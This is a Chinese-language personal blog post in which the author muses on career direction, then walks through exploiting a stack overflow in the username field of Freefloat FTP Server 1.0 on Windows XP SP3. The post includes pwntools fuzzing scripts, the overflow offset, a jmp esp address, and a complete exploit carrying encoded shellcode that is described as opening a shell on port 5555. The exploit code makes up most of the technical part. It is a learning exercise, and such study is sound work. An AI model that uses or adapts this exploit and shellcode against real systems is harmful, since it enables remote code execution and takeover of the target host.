很久没有动笔写文章了。发现打完某场比赛后,整个人都消磨了下来,没有前面的干劲十足样子了。
加上临近毕业,内心也浮躁了许多。借着前言,总结一下这两个月来的东西。
第一点是路子,很想以后走漏洞挖掘的路子,可是前面一年都是在搞web安全加上还剩下几个月时间就实习了,并且听说漏洞挖掘挺难找工作的,很纠结。目前想这几个月好好积累二进制基础、积累一下CTF的pwn类型,复现多几个漏洞,然后够money的话再考个PTE(听老师说挺简单的,找工作会容易点)。
第二就是,突然发现我开发挺菜的,或者说根本就没有code的经历,看着队友经常写项目,挺好的。安全是在建立的基础上,如果没有开发的经历,可能以后我的路子会越来越难提升。无论是漏洞挖掘上的C语言开发,还是web安全上的各种开发还有python。
第三点就是和前面差不多,在和队友去听某个公司的RHCE培训过程中,发现Linux运维也挺好的,还有一句话,安全是在搭建之上的,端口对应服务,服务存在漏洞,如果连服务都不会搭建,怎么搞安全?所以给自己立了个flag,这段时间看完《Linux基础及应用教程(基于CentOS7 第2版)》和《CentOS7系统管理与运维实战》两本书。还有RHCE课程,如果能拿下RHCE那更好了。
不过主要精力还是在于漏洞挖掘方向上。
Freefloat FTP Server1.0溢出漏洞分析是我在《kali linux 网络渗透测试实践指南》这本书上发现的一个挺基础又深刻的案例,下面是详细的分析过程。
环境准备
1、freefloatftpserver1.0
2、ImmunityDebugger
3、kali(pwntools)
4、xp-sp3
样本软件和工具
环境搭建
在xp-sp3上安装freefloatftpserver1.0和ImmunityDebugger
正常测试
这是正常测试的情况,一切输入都可能存在安全隐患。可以看到这里存在三类输入点:
1是用户名输入点,2是密码输入点,3是命令输入点。
测试用户名输入点
1、利用ImmunityDebugger,将freefloatftpserver1.0的进程附加进来调试(需要重新运行,前面已经连接了一次)
2、在kali中利用pwntools编写测试脚本
1 2 3 4 5
| from pwn import * p = remote('192.168.0.100',21) payload = 'A'*500 p.sendline(payload) p.close()
|
3、发送测试
EIP发生了改变,EIP=41414141。这里明显存在栈溢出,覆盖了原EIP。
调试用户名输入点
1、寻找位置下断点
在输入用户名前,该ftp会打印出FreeFloat Ftp Server(Vsersion 1.00)的字符串。
故以此为特征,断点在这个位置
2、确定异常位置
再次利用脚本发送数据到ftp,然后一步步步过,直到发生异常
确定漏洞位置为402DE0函数处,到达这里后会发生异常退出情况。
3、IDA分析漏洞位置
经分析,是strcpy函数导致的栈溢出漏洞。跟进asc_40A588证实为用户名输入点。
确定溢出空间
1、生成垃圾数据,发送到ftp
确定覆盖的eip为34694133。esp位置为00BDFC2C,内含数据7Ai8。
2、计算溢出空间
溢出空间为251,到达esp位置后的空间为263,也就是说,从eip到esp一共有12个字节空间。
3、证实栈帧位置
1 2 3 4 5 6 7 8 9
| from pwn import * p = remote('192.168.0.100',21) payload = 'A'*251 eip = 'B'*4 eip2esp='C'*8 esp = 'D'*4 payload = payload+eip+eip2esp+esp p.sendline(payload) p.close()
|
4、寻找jmp esp地址
通过可执行模块的USER32.dll,查找jmp esp地址
采用jmp esp = 77D29353。(jmp esp技术原理见基础区文章)
部署payload
1、生成shellcode
shellcode功能为向hacker打开一个5555端口的shell,其中去除了\x00\x0a\x0d的坏字符。
2、部署payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * p = remote("192.168.0.100",21) payload = 'A'*251 payload +=p32(0x77d29353) payload +='C'*8 payload +='\x90'*20 shellcode = ("\xbe\xc6\x74\x17\xa4\xdb\xd7\xd9\x74\x24\xf4\x58\x2b\xc9\xb1" "\x53\x31\x70\x12\x83\xe8\xfc\x03\xb6\x7a\xf5\x51\xca\x6b\x7b" "\x99\x32\x6c\x1c\x13\xd7\x5d\x1c\x47\x9c\xce\xac\x03\xf0\xe2" "\x47\x41\xe0\x71\x25\x4e\x07\x31\x80\xa8\x26\xc2\xb9\x89\x29" "\x40\xc0\xdd\x89\x79\x0b\x10\xc8\xbe\x76\xd9\x98\x17\xfc\x4c" "\x0c\x13\x48\x4d\xa7\x6f\x5c\xd5\x54\x27\x5f\xf4\xcb\x33\x06" "\xd6\xea\x90\x32\x5f\xf4\xf5\x7f\x29\x8f\xce\xf4\xa8\x59\x1f" "\xf4\x07\xa4\xaf\x07\x59\xe1\x08\xf8\x2c\x1b\x6b\x85\x36\xd8" "\x11\x51\xb2\xfa\xb2\x12\x64\x26\x42\xf6\xf3\xad\x48\xb3\x70" "\xe9\x4c\x42\x54\x82\x69\xcf\x5b\x44\xf8\x8b\x7f\x40\xa0\x48" "\xe1\xd1\x0c\x3e\x1e\x01\xef\x9f\xba\x4a\x02\xcb\xb6\x11\x4b" "\x38\xfb\xa9\x8b\x56\x8c\xda\xb9\xf9\x26\x74\xf2\x72\xe1\x83" "\xf5\xa8\x55\x1b\x08\x53\xa6\x32\xcf\x07\xf6\x2c\xe6\x27\x9d" "\xac\x07\xf2\x08\xa4\xae\xad\x2e\x49\x10\x1e\xef\xe1\xf9\x74" "\xe0\xde\x1a\x77\x2a\x77\xb2\x8a\xd5\x62\xf0\x02\x33\xe6\xe6" "\x42\xeb\x9e\xc4\xb0\x24\x39\x36\x93\x1c\xad\x7f\xf5\x9b\xd2" "\x7f\xd3\x8b\x44\xf4\x30\x08\x75\x0b\x1d\x38\xe2\x9c\xeb\xa9" "\x41\x3c\xeb\xe3\x31\xdd\x7e\x68\xc1\xa8\x62\x27\x96\xfd\x55" "\x3e\x72\x10\xcf\xe8\x60\xe9\x89\xd3\x20\x36\x6a\xdd\xa9\xbb" "\xd6\xf9\xb9\x05\xd6\x45\xed\xd9\x81\x13\x5b\x9c\x7b\xd2\x35" "\x76\xd7\xbc\xd1\x0f\x1b\x7f\xa7\x0f\x76\x09\x47\xa1\x2f\x4c" "\x78\x0e\xb8\x58\x01\x72\x58\xa6\xd8\x36\x68\xed\x40\x1e\xe1" "\xa8\x11\x22\x6c\x4b\xcc\x61\x89\xc8\xe4\x19\x6e\xd0\x8d\x1c" "\x2a\x56\x7e\x6d\x23\x33\x80\xc2\x44\x16") payload +=shellcode p.sendline(payload) p.close()
|
\x90为nop指令,起着类似滑板的作用。
hack it
参考
https://www.52pojie.cn/thread-557521-1-1.html
https://www.youtube.com/watch?v=i6Br57lh4uE